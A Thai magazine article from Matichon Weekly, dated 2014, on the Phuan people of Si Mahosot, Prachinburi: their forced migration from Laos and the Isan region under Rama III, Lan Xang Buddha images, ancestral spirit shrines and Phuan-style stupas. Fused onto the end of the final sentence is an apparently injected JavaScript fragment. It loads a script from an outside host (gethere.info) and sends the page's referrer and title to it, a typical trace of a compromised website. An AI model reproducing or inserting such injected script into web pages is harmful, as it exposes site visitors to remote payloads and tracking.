มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 28 พฤศจิกายน 2557

 

คนพวน อ. ศรีมโหสถ จ. ปราจีนบุรี

มาจากสองฝั่งโขง ในลาวและอีสาน

 

          คนพวน อ. ศรีมโหสถ จ. ปราจีนบุรี (รวมทั้งบริเวณใกล้เคียงหลายแห่ง) ถูกชักชวนและถูกกวาดต้อนมาครั้งใหญ่สมัย ร.3 เมื่อ พ.ศ. 2371

          มีต้นเหตุจากความขัดแย้งทางการเมืองระหว่างกรุงเทพฯ กับเจ้าอนุ เวียงจัน ต่อมา ร.3 โปรดให้ยกทัพไปตีเมื่อ พ.ศ. 2369 แล้วเผาเวียงจัน เมื่อ พ.ศ. 2371

          [รายละเอียด มีในหนังสือทอดน่องท่องเที่ยว อ. ศรีมโหสถ จ. ปราจีนบุรี]

คนพวน จากลาว เข้าไทย

          พ.ศ. 2380 ชักชวนและกวาดต้อนคนพวนทั้งจากเมืองพวน (เชียงขวาง) กับเมืองเวียงจัน และจากบ้านเมืองสองฝั่งโขง เช่น เมืองหนองคาย (จ. หนองคาย), เมืองหนองหาน (จ. อุดรธานี)

          มีคำบอกเล่าว่าคนพวนกลุ่มนี้ตั้งบ้านเรือนชั่วคราวอยู่ที่ปัจจุบันคือ บ้านเชียง อ. หนองหาน จ. อุดรธานี ลงไปตั้งบ้านเรือนอยู่ทางดงศรีมหาโพธิ์  จ. ปราจีนบุรี และที่อื่นๆ อีกหลายแห่งในเขตป่าดง ให้เป็นด่านหน้าป้องกันกรุงเทพฯ เมื่อมีศึกมาทางตะวันออก

          นับเป็นการเคลื่อนย้ายของกลุ่มชนสองฝั่งโขงลงลุ่มน้ำเจ้าพระยาครั้งใหญ่ และเป็นครั้งสำคัญมาก ทำให้ประชากรในไทยมีมากขึ้น แล้วประสมประสานทางชาติพันธุ์มากกว่าเดิม

ฆ้อง หรือกังสดาลสัมฤทธิ์ อยู่ที่วัดบ้านใหม่ ดงกระทงยาม อ. ศรีมหาโพธิ จ. ปราจีนบุรี เล่ากันว่านำมาจากเวียงจันพร้อมพระพุทธรูปทั้ง 3 องค์ เมื่อราว 200 ปีมาแล้ว ตัวฆ้องแบนกลม ด้านหน้ามีปุ่มเล็กๆ ยกขอบเตี้ยรอบตัวฆ้อง ส่วนด้านหลังเป็นแผ่นเรียบไม่ยกขอบเหมือนฆ้องทั่วไป

พระพุทธรูป 3 องค์แบบล้านช้าง อายุราวหลัง พ.ศ. 2200 อยู่ที่วัดบ้านใหม่ดงกระทงยาม อ. ศรีมหาโพธิ จ. ปราจีนบุรี เล่ากันว่าอัญเชิญมาจากเมืองเวียงจัน พร้อมการเคลื่อนย้ายลงมาอยู่แถบปราจีนบุรีเมื่อราว 200 ปีที่แล้ว

 

ผีปู่ตา

ศาลผีปู่ตาบ้าน บ้านโคกไทย ต. โคกไทย อ. ศรีมโหสถ จ. ปราจีนบุรี

          ผีปู่ตา คือผีบรรพชนทั้งสายแหรกข้างพ่อ คือ ปู่, ย่า และสายแหรกข้างแม่ คือ ตา, ยาย

          รวมกัน 2 สายเป็นปู่ย่าตายาย ฝ่ายผู้ชายคือปู่ตา ฝ่ายผู้หญิงคือย่ายาย

          เมื่อสร้างบ้านเรือนเป็นชุมชนแล้ว คนพวนต้องยกย่องผีบรรพชนฝ่ายผู้ชาย

          แล้วสร้างหอผีประจำทุกหมู่บ้านเรียกหอผีปู่ตาบ้าน (หรือ ศาลผีปู่ตาบ้าน) ให้ปกป้องคุ้มครองคนในหมู่บ้านโดยมีพิธีเลี้ยงผีทุกปี

จุดบั้งไฟ ในบุญบั้งไฟเดือน 6 ที่วัดต้นโพธิ์ฯ อ. ศรีมโหสถ จ. ปราจีนบุรี เมื่อหลายปีมาแล้ว

          คนพวนนับถือพุทธศาสนาเถรวาทที่เมืองพวน (เมืองคูน) มีวัดมีพระพุทธรูปปูนปั้นและมีเจดีย์ ทั้งหมดเป็นศิลปะ (พวน) เชียงขวาง

          เมื่อคนพวนตั้งชุมชนหมู่บ้านแล้วสร้างวัดประจำหมู่บ้านจึงสร้างเจดีย์ศิลปะ (พวน) เชียงขวาง เช่น เจดีย์วัดแสงสว่าง บ้านโคกไทย (ชื่อเดิมว่า บ้านโคกมอน) ต. โคกไทย อ. ศรีมโหสถ จ. ปราจีนบุรีs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;